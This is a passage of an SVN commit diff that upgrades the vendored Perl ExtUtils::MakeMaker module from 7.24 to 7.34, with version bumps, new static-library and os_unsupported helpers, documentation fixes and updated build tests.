+	return if !$self->xs_static_lib_is_xs($_);
+	use Cwd 'cwd';
+	$staticlib21{cwd() . "/" . $_}++;
+    }, grep( -d $_, map { $self->catdir($_, 'auto') } @{$searchdirs || []}) );
+    return \%staticlib21;
+}
+
+=item xs_static_lib_is_xs (o)
+
+Called by a utility method of makeaperl. Checks whether a given file
+is an XS library by seeing whether it defines any symbols starting
+with C<boot_>.
+
+=cut
+
+sub xs_static_lib_is_xs {
+    my ($self, $libfile) = @_;
+    my $devnull = File::Spec->devnull;
+    return `nm $libfile 2>$devnull` =~ /\bboot_/;
+}
+
 =item makefile (o)
 
 Defines how to rewrite the Makefile.
@@ -3259,7 +3296,7 @@
 
             $m .= <<MAKE_FRAG;
 
-all :: $target
+pure_all :: $target
 	\$(NOECHO) \$(NOOP)
 
 $target :: $plfile $pm_dep
@@ -3659,7 +3696,7 @@
 EOF
 
     for my $linktype (qw(dynamic static)) {
-        my $directdeps = "$linktype pure_all";
+        my $directdeps = join ' ', grep !$self->{SKIPHASH}{$_}, $linktype, "pure_all"; # no depend on a linktype if SKIPped
         push @m, "subdirs-test_$linktype :: $directdeps\n";
         foreach my $dir (@{ $self->{DIR} }) {
             my $test = $self->cd($dir, "\$(MAKE) test_$linktype \$(PASTHRU)");
@@ -3869,7 +3906,7 @@
 sub writedoc {
 # --- perllocal.pod section ---
     my($self,$what,$name, at attribs)=@_;
-    my $time = localtime;
+    my $time = gmtime($ENV{SOURCE_DATE_EPOCH} || time);
     print "=head2 $time: $what C<$name>\n\n=over 4\n\n=item *\n\n";
     print join "\n\n=item *\n\n", map("C<$_>", at attribs);
     print "\n\n=back\n\n";

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VMS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
 
 use File::Basename;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Any;
@@ -1242,6 +1242,29 @@
 }
 
 
+=item static_lib_pure_cmd (override)
+
+Use VMS commands to manipulate object library.
+
+=cut
+
+sub static_lib_pure_cmd {
+    my ($self, $from) = @_;
+
+    sprintf <<'MAKE_FRAG', $from;
+	If F$Search("$(MMS$TARGET)").eqs."" Then Library/Object/Create $(MMS$TARGET)
+	Library/Object/Replace $(MMS$TARGET) %s
+MAKE_FRAG
+}
+
+=item xs_static_lib_is_xs
+
+=cut
+
+sub xs_static_lib_is_xs {
+    return 1;
+}
+
 =item extra_clean_files
 
 Clean up some OS specific files.  Plus the temp file used to shorten
@@ -1286,7 +1309,7 @@
 $(DISTVNAME).tar$(SUFFIX) : distdir
 	$(PREOP)
 	$(TO_UNIX)
-        $(TAR) "$(TARFLAGS)" $(DISTVNAME).tar [.$(DISTVNAME)...]
+	$(TAR) "$(TARFLAGS)" $(DISTVNAME).tar [.$(DISTVNAME)...]
 	$(RM_RF) $(DISTVNAME)
 	$(COMPRESS) $(DISTVNAME).tar
 	$(POSTOP)
@@ -1336,7 +1359,7 @@
 	$(NOECHO) $(NOOP)
 
 doc_install :: doc_$(INSTALLDIRS)_install
-        $(NOECHO) $(NOOP)
+	$(NOECHO) $(NOOP)
 
 pure__install : pure_site_install
 	$(NOECHO) $(ECHO) "INSTALLDIRS not defined, defaulting to INSTALLDIRS=site"

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_VOS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package ExtUtils::MM_VOS;
 
 use strict;
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Unix;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win32.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -27,7 +27,7 @@
 require ExtUtils::MM_Any;
 require ExtUtils::MM_Unix;
 our @ISA = qw( ExtUtils::MM_Any ExtUtils::MM_Unix );
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 $ENV{EMXSHELL} = 'sh'; # to run `commands`

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MM_Win95.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use strict;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require ExtUtils::MM_Win32;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MY.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 require ExtUtils::MM;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 our @ISA = qw(ExtUtils::MM);
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Config.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -2,7 +2,7 @@
 
 use strict;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 use Config ();

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/FAQ.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package ExtUtils::MakeMaker::FAQ;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 1;
@@ -390,8 +390,10 @@
 
 =head2 XS
 
-=head3 How do I prevent "object version X.XX does not match bootstrap parameter Y.YY" errors?
+=over 4
 
+=item How do I prevent "object version X.XX does not match bootstrap parameter Y.YY" errors?
+
 XS code is very sensitive to the module version number and will
 complain if the version number in your Perl module doesn't match.  If
 you change your module's version # without rerunning Makefile.PL the old
@@ -405,14 +407,16 @@
     depend => { '$(FIRST_MAKEFILE)' => '$(VERSION_FROM)' }
 
 
-=head3 How do I make two or more XS files coexist in the same directory?
+=item How do I make two or more XS files coexist in the same directory?
 
 Sometimes you need to have two and more XS files in the same package.
 There are three ways: C<XSMULTI>, separate directories, and bootstrapping
 one XS from another.
 
-=head4 XSMULTI
+=over 8
 
+=item XSMULTI
+
 Structure your modules so they are all located under F<lib>, such that
 C<Foo::Bar> is in F<lib/Foo/Bar.pm> and F<lib/Foo/Bar.xs>, etc. Have your
 top-level C<WriteMakefile> set the variable C<XSMULTI> to a true value.
@@ -419,7 +423,7 @@
 
 Er, that's it.
 
-=head4 Separate directories
+=item Separate directories
 
 Put each XS files into separate directories, each with their own
 F<Makefile.PL>. Make sure each of those F<Makefile.PL>s has the correct
@@ -426,7 +430,7 @@
 C<CFLAGS>, C<INC>, C<LIBS> etc. You will need to make sure the top-level
 F<Makefile.PL> refers to each of these using C<DIR>.
 
-=head4 Bootstrapping
+=item Bootstrapping
 
 Let's assume that we have a package C<Cool::Foo>, which includes
 C<Cool::Foo> and C<Cool::Bar> modules each having a separate XS
@@ -546,6 +550,8 @@
 
 =back
 
+=back
+
 =head1 DESIGN
 
 =head2 MakeMaker object hierarchy (simplified)
@@ -607,7 +613,7 @@
 NOTE: The methods in MY are simply copied into PACK### rather than
 MY being a superclass of PACK###.  I don't remember the rationale.
 
-NOTE: ExtUtils::Liblist should be removed from the inheritence hiearchy
+NOTE: ExtUtils::Liblist should be removed from the inheritance hiearchy
 and simply be called as functions.
 
 NOTE: Modules like File::Spec and Exporter have been omitted for clarity.

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Locale.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,7 +1,7 @@
 package ExtUtils::MakeMaker::Locale;
 
 use strict;
-our $VERSION = "7.24";
+our $VERSION = "7.34";
 $VERSION = eval $VERSION;
 
 use base 'Exporter';

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/Tutorial.pod	2018-12-22 22:55:19 UTC (rev 12126)
@@ -1,6 +1,6 @@
 package ExtUtils::MakeMaker::Tutorial;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 
@@ -125,10 +125,10 @@
 
 You would use the following C<test> directive:
 
-    test => {TESTS => 't/*.t t/*/*/*.t}
+    test => {TESTS => 't/*.t t/*/*/*.t'}
 
 Note that in the above example, tests in the first subdirectory will not be
-run. To run all tests in the intermediary subdirectory preceeding the one
+run. To run all tests in the intermediary subdirectory preceding the one
 the test files are in, you need to explicitly note it:
 
     test => {TESTS => 't/*.t t/*/*.t t/*/*/*.t'}

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version/regex.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 
 use vars qw($VERSION $CLASS $STRICT $LAX);
 
-$VERSION = '7.24';
+$VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 #--------------------------------------------------------------------------#

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker/version.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -15,7 +15,7 @@
 
 use vars qw(@ISA $VERSION $CLASS $STRICT $LAX *declare *qv);
 
-$VERSION = '7.24';
+$VERSION = '7.34';
 $VERSION = eval $VERSION;
 $CLASS = 'version';
 

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/MakeMaker.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,7 @@
 our %macro_fsentity; # whether a macro is a filesystem name
 our %macro_dep; # whether a macro is a dependency
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;  ## no critic [BuiltinFunctions::ProhibitStringyEval]
 
 # Emulate something resembling CVS $Revision$
@@ -34,7 +34,7 @@
 our $Filename = __FILE__;   # referenced outside MakeMaker
 
 our @ISA = qw(Exporter);
-our @EXPORT    = qw(&WriteMakefile $Verbose &prompt);
+our @EXPORT    = qw(&WriteMakefile $Verbose &prompt &os_unsupported);
 our @EXPORT_OK = qw($VERSION &neatvalue &mkbootstrap &mksymlists
                     &WriteEmptyMakefile &open_for_writing &write_file_via_tmp
                     &_sprintf562);
@@ -227,6 +227,10 @@
     return (!defined $ans || $ans eq '') ? $def : $ans;
 }
 
+sub os_unsupported {
+    die "OS unsupported\n";
+}
+
 sub eval_in_subdirs {
     my($self) = @_;
     use Cwd qw(cwd abs_path);
@@ -652,11 +656,6 @@
         }
     }
 
-    # This is for old Makefiles written pre 5.00, will go away
-    if ( Carp::longmess("") =~ /runsubdirpl/s ){
-        carp("WARNING: Please rerun 'perl Makefile.PL' to regenerate your Makefiles\n");
-    }
-
     my $newclass = ++$PACKNAME;
     local @Parent = @Parent;    # Protect against non-local exits
     {
@@ -1818,7 +1817,7 @@
 
 =item BUILD_REQUIRES
 
-Available in version 6.5503 and above.
+Available in version 6.55_03 and above.
 
 A hash of modules that are needed to build your module but not run it.
 
@@ -2070,6 +2069,8 @@
 
 =item INSTALLSCRIPT
 
+Available in version 6.30_02 and above.
+
 Used by 'make install' which copies files from INST_SCRIPT to this
 directory if INSTALLDIRS=perl.
 
@@ -2106,7 +2107,9 @@
 =item INSTALLVENDORARCH
 
 Used by 'make install', which copies files from INST_ARCHLIB to this
-directory if INSTALLDIRS is set to vendor.
+directory if INSTALLDIRS is set to vendor. Note that if you do not set
+this, the value of INSTALLVENDORLIB will be used, which is probably not
+what you want.
 
 =item INSTALLVENDORBIN
 
@@ -2129,6 +2132,8 @@
 
 =item INSTALLVENDORSCRIPT
 
+Available in version 6.30_02 and above.
+
 Used by 'make install' which copies files from INST_SCRIPT to this
 directory if INSTALLDIRS is set to vendor.
 
@@ -2234,11 +2239,15 @@
 
 =item MAGICXS
 
+Available in version 6.8305 and above.
+
 When this is set to C<1>, C<OBJECT> will be automagically derived from
 C<O_FILES>.
 
 =item MAKE
 
+Available in version 6.30_01 and above.
+
 Variant of make you intend to run the generated Makefile with.  This
 parameter lets Makefile.PL know what make quirks to account for when
 generating the Makefile.
@@ -2410,6 +2419,8 @@
 
 =item NO_MYMETA
 
+Available in version 6.57_02 and above.
+
 When true, suppresses the generation of MYMETA.yml and MYMETA.json module
 meta-data files during 'perl Makefile.PL'.
 
@@ -2417,6 +2428,8 @@
 
 =item NO_PACKLIST
 
+Available in version 6.7501 and above.
+
 When true, suppresses the writing of C<packlist> files for installs.
 
 Defaults to false.
@@ -2423,6 +2436,8 @@
 
 =item NO_PERLLOCAL
 
+Available in version 6.7501 and above.
+
 When true, suppresses the appending of installations to C<perllocal>.
 
 Defaults to false.
@@ -2540,6 +2555,8 @@
 
 =item PERM_DIR
 
+Available in version 6.51_01 and above.
+
 Desired permission for directories. Defaults to C<755>.
 
 =item PERM_RW
@@ -2661,10 +2678,14 @@
 
 =item PPM_UNINSTALL_EXEC
 
+Available in version 6.8502 and above.
+
 Name of the executable used to run C<PPM_UNINSTALL_SCRIPT> below. (e.g. perl)
 
 =item PPM_UNINSTALL_SCRIPT
 
+Available in version 6.8502 and above.
+
 Name of the script that gets executed by the Perl Package Manager before
 the removal of a package.
 
@@ -2762,6 +2783,8 @@
 
 =item SIGN
 
+Available in version 6.18 and above.
+
 When true, perform the generation and addition to the MANIFEST of the
 SIGNATURE file in the distdir during 'make distdir', via 'cpansign
 -s'.
@@ -2882,6 +2905,8 @@
 
 =item XSBUILD
 
+Available in version 7.12 and above.
+
 Hashref with options controlling the operation of C<XSMULTI>:
 
   {
@@ -2914,6 +2939,8 @@
 
 =item XSMULTI
 
+Available in version 7.12 and above.
+
 When this is set to C<1>, multiple XS files may be placed under F<lib/>
 next to their corresponding C<*.pm> files (this is essential for compiling
 with the correct C<VERSION> values). This feature should be considered
@@ -3014,6 +3041,8 @@
 
   {RECURSIVE_TEST_FILES=>1}
 
+This is supported since 6.76
+
 =item tool_autosplit
 
   {MAXLEN => 8}
@@ -3290,6 +3319,17 @@
 
 If no $default is provided an empty string will be used instead.
 
+=item os_unsupported
+
+  os_unsupported();
+  os_unsupported if $^O eq 'MSWin32';
+
+The C<os_unsupported()> function provides a way to correctly exit your
+C<Makefile.PL> before calling C<WriteMakefile>. It is essentially a
+C<die> with the message "OS unsupported".
+
+This is supported since 7.26
+
 =back
 
 =head2 Supported versions of Perl

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mkbootstrap.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 # There's just too much Dynaloader incest here to turn on strict vars.
 use strict 'refs';
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 require Exporter;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/Mksymlists.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -10,7 +10,7 @@
 
 our @ISA = qw(Exporter);
 our @EXPORT = qw(&Mksymlists);
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 sub Mksymlists {

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/lib/ExtUtils/testlib.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,7 +3,7 @@
 use strict;
 use warnings;
 
-our $VERSION = '7.24';
+our $VERSION = '7.34';
 $VERSION = eval $VERSION;
 
 use Cwd;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/03-xsstatic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -3,21 +3,24 @@
 use strict;
 use warnings;
 use Config;
+
+my $release;
+
 BEGIN {
+    $release = ( -d '.git' ? 1 : 0 );
     chdir 't' or die "chdir(t): $!\n";
     unshift @INC, 'lib/';
 }
+
 use MakeMaker::Test::Utils;
 use MakeMaker::Test::Setup::XS;
 use Test::More;
 
-plan skip_all => "Disabled as broken perl installs give false negative"
-  # if not static perl, and not author
-  unless !$Config{usedl} or $ENV{AUTHOR_TESTING};
 plan skip_all => "ExtUtils::CBuilder not installed or couldn't find a compiler"
   unless have_compiler();
 plan skip_all => 'Shared perl library' if $Config{useshrplib} eq 'true';
-plan skip_all => $^O if $^O =~ m!^(MSWin32|cygwin|haiku)$!;
+plan skip_all => $^O if $^O =~ m!^(MSWin32|cygwin|haiku|darwin)$!;
+plan skip_all => 'Skipped when not PERL_CORE or in git repo' unless $ENV{PERL_CORE} or $release;
 my @tests = list_static();
 plan skip_all => "No tests" unless @tests;
 plan tests => 6 * @tests;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/MM_Unix.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/MM_Unix.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/MM_Unix.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -12,7 +12,7 @@
         plan skip_all => 'Non-Unix platform';
     }
     else {
-        plan tests => 110;
+        plan tests => 113;
     }
 }
 
@@ -150,6 +150,9 @@
 ###############################################################################
 # libscan
 
+is ($t->libscan('Readme.pod'),      '', 'libscan excludes base Readme.pod');
+is ($t->libscan('README.pod'),      '', 'libscan excludes base README.pod');
+is ($t->libscan('lib/Foo/README.pod'),      'lib/Foo/README.pod', 'libscan accepts README.pod in a subdirectory');
 is ($t->libscan('foo/RCS/bar'),     '', 'libscan on RCS');
 is ($t->libscan('CVS/bar/car'),     '', 'libscan on CVS');
 is ($t->libscan('SCCS'),            '', 'libscan on SCCS');

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/basic.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/basic.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/basic.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -24,7 +24,7 @@
 use Test::More
     !MM->can_run(make()) && $ENV{PERL_CORE} && $Config{'usecrosscompile'}
     ? (skip_all => "cross-compiling and make not available")
-    : (tests => 186);
+    : (tests => 188);
 use File::Find;
 use File::Spec;
 use File::Path;
@@ -367,7 +367,7 @@
       "MANIFEST has META.yml"
     );
     is( $manifest->{'meta.json'}, 'Module JSON meta-data (added by MakeMaker)',
-      "MANFIEST has META.json"
+      "MANIFEST has META.json"
     );
 
     # Test NO_META META.yml suppression
@@ -438,8 +438,12 @@
 }
 
 
-
 # Make sure init_dirscan doesn't go into the distdir
+# also with a "messup.PL" that will make a build fail
+open $fh, '>', 'messup.PL' or die "messup.PL: $!";
+print $fh 'print "Extracting messup (with variable substitutions)\n";' . "\n";
+print $fh 'die';
+close $fh;
 @mpl_out = run(qq{$perl Makefile.PL "PREFIX=$DUMMYINST"});
 
 cmp_ok( $?, '==', 0, 'Makefile.PL exited with zero' ) || diag(@mpl_out);
@@ -448,6 +452,14 @@
                                 'init_dirscan skipped distdir') ||
   diag(@mpl_out);
 
+# "make test" straight after "perl Makefile.PL" is expected to work same as
+#   "make all test" so check that with "messup.PL" that will make the
+#   build step fail
+$test_out = run("$make test");
+unlike( $test_out, qr/All tests successful/, 'make test caused build' );
+isnt( $?, 0,                                 '  build should fail' ) ||
+    diag $test_out;
+
 # I know we'll get ignored errors from make here, that's ok.
 # Send STDERR off to oblivion.
 open(SAVERR, ">&STDERR") or die $!;
@@ -455,6 +467,7 @@
 
 my $realclean_out = run("$make realclean");
 is( $?, 0, 'realclean' ) || diag($realclean_out);
+1 while unlink 'messup.PL'; # also zap deliberate build-breaker
 
 open(STDERR, ">&SAVERR") or die $!;
 close SAVERR;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/eu_command.t
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/eu_command.t	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/eu_command.t	2018-12-22 22:55:19 UTC (rev 12126)
@@ -151,20 +151,21 @@
         is( ((stat('testdir'))[2] & 07777) & 0700,
             0100, 'change a dir to execute-only' );
 
-        # change a dir to read-only
-        @ARGV = ( '0400', 'testdir' );
+        # change a dir to write-only
+        @ARGV = ( '0200', 'testdir' );
         ExtUtils::Command::chmod();
 
         is( ((stat('testdir'))[2] & 07777) & 0700,
-            0400, 'change a dir to read-only' );
+            0200, 'change a dir to write-only' );
 
-        # change a dir to write-only
-        @ARGV = ( '0200', 'testdir' );
+        # change a dir to read-only
+        @ARGV = ( '0400', 'testdir' );
         ExtUtils::Command::chmod();
 
         is( ((stat('testdir'))[2] & 07777) & 0700,
-            0200, 'change a dir to write-only' );
+            0400, 'change a dir to read-only' );
 
+        # remove the dir we've been playing with
         @ARGV = ('testdir');
         rm_rf;
         ok( ! -e 'testdir', 'rm_rf can delete a read-only dir' );

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm
===================================================================
--- vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm	2018-11-30 20:25:27 UTC (rev 12125)
+++ vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/lib/MakeMaker/Test/Setup/XS.pm	2018-12-22 22:55:19 UTC (rev 12126)
@@ -19,7 +19,8 @@
 my $tempdir = tempdir(DIR => getcwd, CLEANUP => 1);
 chdir $tempdir;
 my $typemap = 'type map';
-$typemap =~ s/ //g unless MM->new({NAME=>'name', NORECURS=>1})->can_dep_space;
+my $MM = MM->new({NAME=>'name', NORECURS=>1});
+$typemap =~ s/ //g unless $MM->can_dep_space;
 chdir File::Spec->updir;
 
 my $PM_TEST = <<'END';
@@ -148,6 +149,11 @@
     $MAKEFILEPL, 'Test', 'lib/XS/Test.pm', qq{'$typemap'},
     q{LINKTYPE => 'static'},
   ),
+  "blib/arch/auto/share/dist/x-y/libwhatevs$MM->{LIB_EXT}" => 'hi there', # mimic what File::ShareDir can do
+  "blib/arch/auto/Alien/ROOT/root/lib/root/root$MM->{LIB_EXT}" => 'hi there', # mimic Alien::ROOT that installs a .a without extralibs.ld
+  # next two mimic dist that installs a .a WITH extralibs.ld but that is still not XS
+  "blib/arch/auto/Dist/File$MM->{LIB_EXT}" => 'hi there',
+  "blib/arch/auto/Dist/extralibs.ld" => '',
 };
 
 $label2files{subdirs} = +{
@@ -211,6 +217,71 @@
   ),
 };
 
+# to mimic behaviour of CGI-Deurl-XS version 0.08
+my $OTHERMAKEFILE = File::Spec->catfile('Other', makefile_name());
+$label2files{subdirsskip} = +{
+  %{ $label2files{subdirscomplex} }, # make copy
+  'Makefile.PL' => sprintf(
+    $MAKEFILEPL,
+    'Test', 'Test.pm', qq{},
+    q[
+MYEXTLIB => '] . File::Spec->catfile('Other', 'libparser$(LIB_EXT)') . q[',
+     ]
+  )
+  . q[
+sub MY::postamble {
+    my ($self) = @_;
+    return '$(MYEXTLIB) : ] . $OTHERMAKEFILE . q['."\n\t".$self->cd('Other', '$(MAKE) $(PASSTHRU)')."\n";
+}
+     ],
+  'Other/Makefile.PL' => sprintf(
+    $MAKEFILEPL,
+    'Other', 'Other.pm', qq{},
+    <<'EOF',
+SKIP   => [qw(all static dynamic )],
+clean  => {'FILES' => 'libparser$(LIB_EXT)'},
+EOF
+  ) . <<'EOF',
+sub MY::top_targets {
+  my ($self) = @_;
+  my $static_lib_pure_cmd = $self->static_lib_pure_cmd('$(O_FILES)');
+  <<'SNIP' . $static_lib_pure_cmd;
+all :: static
+
+pure_all :: static
+
+static :: libparser$(LIB_EXT)
+
+libparser$(LIB_EXT): $(O_FILES)
+SNIP
+}
+EOF
+  't/plus1.t' => <<'END',
+#!/usr/bin/perl -w
+use Test::More tests => 2;
+use_ok "XS::Test";
+is XS::Test::plus1(3), 4;
+END
+  'Test.xs' => <<EOF,
+#ifdef __cplusplus
+extern "C" {
+#endif
+int plus1(int);
+#ifdef __cplusplus
+}
+#endif
+$XS_TEST
+int
+plus1(input)
+       int     input
+   CODE:
+       RETVAL = plus1(input);
+   OUTPUT:
+       RETVAL
+EOF
+};
+virtual_rename('subdirsskip', 'Other/lib/file.c', 'Other/file.c');
+
 my $XS_MULTI = $XS_OTHER;
 # check compiling from top dir still can include local
 $XS_MULTI =~ s:(#include "XSUB.h"):$1\n#include "header.h":;
@@ -326,7 +397,7 @@
     $^O ne 'MSWin32' ? (
         [ 'bscode', '', '' ],
         [ 'bscodemulti', '', '' ],
-        $^O ne 'VMS' ? ([ 'subdirscomplex', '', '' ]) : (),
+        $^O !~ m!^(VMS|aix)$! ? ([ 'subdirscomplex', '', '' ]) : (),
     ) : (), # DynaLoader different
     [ 'subdirs', '', '' ],
     [ 'subdirsstatic', ' LINKTYPE=dynamic', ' LINKTYPE=dynamic' ],
@@ -335,6 +406,7 @@
     [ 'staticmulti', ' LINKTYPE=dynamic', ' LINKTYPE=dynamic' ],
     [ 'staticmulti', ' dynamic', '_dynamic' ],
     [ 'xsbuild', '', '' ],
+    [ 'subdirsskip', '', '' ],
   );
 }
 
@@ -391,7 +463,11 @@
   }
 
   chdir File::Spec->updir or die;
-  ok rmtree($dir), "teardown $dir";
+  if ($ENV{EUMM_KEEP_TESTDIRS}) {
+    ok 1, "don't teardown $dir";
+  } else {
+    ok rmtree($dir), "teardown $dir";
+  }
 }
 
 1;

Modified: vendor/perl/dist/cpan/ExtUtils-MakeMaker/t/metafile_data.t
===================================================================
